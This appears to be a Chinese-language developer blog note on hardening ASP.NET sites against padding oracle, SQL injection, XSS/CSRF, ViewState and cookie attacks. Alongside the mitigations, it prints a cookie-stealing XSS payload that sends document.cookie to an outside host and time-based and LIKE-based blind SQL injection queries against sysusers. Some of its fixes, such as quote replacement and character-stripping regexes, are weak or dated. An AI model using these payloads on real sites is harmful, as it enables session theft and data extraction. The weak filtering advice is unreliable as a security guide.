一、Padding Oracle Vulnerability,填充甲骨文漏洞。原文:ScottGu的說明
解決方法:1。添加報錯頁面。防止給黑客提示信息。
<configuration> <system.web><customErrorsmode="On"redirectMode="ResponseRewrite"defaultRedirect="~/error.aspx"/></system.web> </configuration>
2. Error頁面睡眠一會,給黑客照成困難
<%@ Page Language="C#"AutoEventWireup="true"%> <%@ Import Namespace="System.Security.Cryptography"%> <%@ Import Namespace="System.Threading"%> <script runat="server"> voidPage_Load() { byte[] delay = newbyte[1]; RandomNumberGenerator prng = newRNGCryptoServiceProvider(); prng.GetBytes(delay); Thread.Sleep((int)delay[0]); IDisposable disposable = prng asIDisposable; if(disposable != null) { disposable.Dispose(); } } </script> <html> <head runat="server"> <title>Error</title> </head> <body> <div> An error occurred whileprocessing your request. </div> </body> </html>
二 、 sql 注入。方式有:
1、傳參url方式,直接得到querystring,然后查詢數據庫。
2、文本框輸入,如登陸。解決方 法:1..Replace("'", "''");單引號變成雙引號2.用存儲過程。
3、如果不用存儲過程,應該把每個傳遞用單引號包含進去。如 '"+querystring+"'".
原文:sql注入
三、參數污染
這個下面的xss攻擊解決方法差不多,1.對參數進行驗證。2.加引號
一下是在數據庫驗證前的過濾
四、 csrf跨站點請求偽造,1.可以理解為cookie劫持。
<a href="fundzf.aspx?symbol=<%=strSymbol%>">基金分紅與拆分</a>
?symbol=" onmouseover=window.open("http://www.baidu.com?cookie="%2Bdocument.cookie) bad="
這樣就可以 當把這個頁面被點擊的時候,客戶的cookie就會被劫持
解決方案:對傳過來的參數進行檢查
2.<%@ Page Language="C#" ValidateRequest="false" AutoEventWireup="true" CodeBehind="WebForm2.aspx.cs"
Inherits="WebApplication6.WebForm2" %>
<html>
<script runat="server">
void btnSubmit_Click(Object sender, EventArgs e)
{
// If ValidateRequest is false, then 'hello' is displayed
// If ValidateRequest is true, then ASP.NET returns an exception
Response.Write(txtString.Text);
}
</script>
<body>
<form id="form1" runat="server">
<asp:TextBox ID="txtString" runat="server" Text="<script>alert('hello');</script>" />
<asp:Button ID="btnSubmit" runat="server" OnClick="btnSubmit_Click" Text="Submit" />
</form>
</body>
</html>
解決方案:1.升級.netframework,上面的代碼在.netframework2.0中,可以執行,但是在4.0中就會報錯。2.對用戶輸入的內容進行元字符過濾
s腳本中過濾特殊字符的正則表達式代碼:
function stripscript(s)
{
var pattern = new RegExp("[`~!@#$^&*()=|{}':;',\\[\\].<>/?~!@#¥……&*()——|{}【】‘;:”“'。,、?]")
var rs = "";
for (var i = 0; i < s.length; i++) {
rs = rs+s.substr(i, 1).replace(pattern, '');
}
return rs;
}
校驗所有輸入域是否含有特殊符號
/**
* 校驗所有輸入域是否含有特殊符號
* 所要過濾的符號寫入正則表達式中,注意,一些符號要用'\'轉義.
* 試例:
* if(checkAllTextValid(document.forms[0]))
* alert("表單中所有文本框通過校驗!");
*/
function checkAllTextValid(form)
{
//記錄不含引號的文本框數量
var resultTag = 0;
//記錄所有text文本框數量
var flag = 0;
for(var i = 0; i < form.elements.length; i ++)
{
if(form.elements[i].type=="text")
{
flag = flag + 1;
//此處填寫所要過濾的特殊符號
//注意:修改####處的字符,其它部分不許修改.
//if(/^[^####]*$/.test(form.elements[i].value))
if(/^[^\|"'<>]*$/.test(form.elements[i].value))
resultTag = resultTag+1;
else
form.elements[i].select();
}
}
/**
* 如果含引號的文本框等於全部文本框的值,則校驗通過
*/
if(resultTag == flag)
return true;
else
{
alert("文本框中不能含有\n\n 1 單引號: ' \n 2 雙引號: \" \n 3 豎 杠: | \n 4 尖角號: < > \n\n請檢查輸入!");
return false;
}
}
五。Unencrypted __VIEWSTATE parameter,viewstate 保存沒有加密,解決方法
在web.config.中,system.web中加 <machineKey validation="3DES"/>
六。Cookie攻擊的兩種手段:
1,Cookie欺騙
通過盜取、修改、偽造Cookie的內容來得到相應權限或者進行相應權限的操作。
2,Cookie注入
利用Cookie進行數據庫SQL注入,很多人注意過濾通過Get和Post方式獲取的參數,但是卻疏於過濾從Cookie獲取的參數,這點是要引起注意的。
使用Cookie保存的數據
一 般不要用Cookie保存用戶的個人信息,比如密碼、郵箱等,但是如果想在用戶鏈接到網站的時候,驗證用戶是否是上次登錄的那個用戶,可以用戶每次登錄成 功后,將一個隨機密碼發送到瀏覽器端保存(當然在服務器端數據庫也要保存該字段,假如字段名為CookiePassword,注意與用戶登錄密碼不同), 當用戶再次登錄時,首先驗證用戶發來的密碼與CookiePassword字段(不是用戶密碼)中保存的是否一致,相同即可認為是上次正常登錄的用戶。
七。盲sql注入,Blind SQL Injection 解決方法和sql注入一樣。
區別是,sql注入有錯誤的提示信息,盲sql只有對錯,沒有提示信息。
實例:1.通過實踐判斷 我們的盲sql對了沒有,select * from sysusers where (SELECT count(*) FROM sysusers AS sys1
, sysusers assys2, sysusers as sys3
, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
,sysusers AS sys7)>1
例如這個,時間會很長,記住時間。
select * from sysusers where (SELECT count(*) FROM sysusers AS sys1
, sysusers assys2, sysusers as sys3
, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
,sysusers AS sys7)>1
and 0>(select top 1ascii(substring(name,1,1)) from sysusers)
時間很短,說明盲sql沒有得到想要的數據。
select * from sysusers where (SELECT count(*) FROM sysusers AS sys1
, sysusers assys2, sysusers as sys3
, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6
,sysusers AS sys7)>1
and 300>(select top 1ascii(substring(name,1,1)) from sysusers)
時間長點,說明 我們得到了東西。
2.通過正則表達式達到目的,我們要用到like.
select * from sysusers where 頁面的參數 and 1=(SELECT TOP 1 1 FROM sysusers WHERE name LIKE '[a-z]%')
有返回值,說明我們正確